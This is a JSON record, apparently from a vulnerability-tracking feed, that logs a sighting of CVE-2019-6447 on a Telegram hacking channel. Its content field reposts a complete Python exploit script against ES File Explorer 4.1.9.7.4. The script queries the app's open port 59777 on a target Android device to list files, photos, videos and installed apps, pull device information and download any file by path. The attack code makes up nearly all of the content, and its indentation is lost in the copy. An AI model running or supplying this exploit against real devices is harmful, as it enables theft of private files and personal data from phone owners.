{"uuid": "0e3f9081-d7c8-4e48-807a-e7297d0d4e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://t.me/hacking_Attack/14737", "content": "Exploit Collector\nES File Explorer 4.1.9.7.4 Arbitrary File Read\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nES File Explorer version 4.1.9.7.4 arbitrary file read exploit.\n\nMD5 | 3c25d5c9cc6d583b07aa0211035656b6\n\nDownload\n# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read\n# Date: 29/06/2021\n# Exploit Author: Nehal Zaman\n# Version: ES File Explorer v4.1.9.7.4\n# Tested on: Android\n# CVE : CVE-2019-6447\n\nimport requests\nimport json\nimport ast\nimport sys\n\nif len(sys.argv) < 3:\nprint(f\"USAGE {sys.argv[0]} <ip[file to download]\")\nsys.exit(1)\n\nurl = 'http://' + sys.argv[2] + ':59777'\ncmd = sys.argv[1]\ncmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']\nlistCmds = cmds[:9]\nif cmd not in cmds:\nprint(\"[-] WRONG COMMAND!\")\nprint(\"Available commands : \")\nprint(\"  listFiles         : List all Files.\")\nprint(\"  listPics          : List all Pictures.\")\nprint(\"  listVideos        : List all videos.\")\nprint(\"  listAudios        : List all audios.\")\nprint(\"  listApps          : List Applications installed.\")\nprint(\"  listAppsSystem    : List System apps.\")\nprint(\"  listAppsPhone     : List Communication related apps.\")\nprint(\"  listAppsSdcard    : List apps on the SDCard.\")\nprint(\"  listAppsAll       : List all Application.\")\nprint(\"  getFile           : Download a file.\")\nprint(\"  getDeviceInfo     : Get device info.\")\nsys.exit(1)\n\nprint(\"\\n==================================================================\")\nprint(\"|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |\")\nprint(\"|                Coded By : Nehal a.k.a PwnerSec                 |\")\nprint(\"==================================================================\\n\")\n\nheader = {\"Content-Type\" : \"application/json\"}\nproxy = {\"http\":\"http://127.0.0.1:8080\", \"https\":\"https://127.0.0.1:8080\"}\n\ndef httpPost(cmd):\ndata = json.dumps({\"command\":cmd})\nresponse = requests.post(url, headers=header, data=data)\nreturn ast.literal_eval(response.text)\n\ndef parse(text, keys):\nfor dic in text:\nfor key in keys:\nprint(f\"{key} : {dic[key]}\")\nprint('')\n\ndef do_listing(cmd):\nresponse = httpPost(cmd)\nif len(response) == 0:\nkeys = []\nelse:\nkeys = list(response[0].keys())\nparse(response, keys)\n\nif cmd in listCmds:\ndo_listing(cmd)\n\nelif cmd == cmds[9]:\nif len(sys.argv) != 4:\nprint(\"[+] Include file name to download.\")\nsys.exit(1)\nelif sys.argv[3][0] != '/':\nprint(\"[-] You need to provide full path of the file.\")\nsys.exit(1)\nelse:\npath = sys.argv[3]\nprint(\"[+] Downloading file...\")\nresponse = requests.get(url + path)\nwith open('out.dat','wb') as wf:\nwf.write(response.content)\nprint(\"[+] Done. Saved as `out.dat`.\")\n\nelif cmd == cmds[10]:\nresponse = httpPost(cmd)\nkeys = list(response.keys())\nfor key in keys:\nprint(f\"{key} : {response[key]}\")\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:34.444725Z"}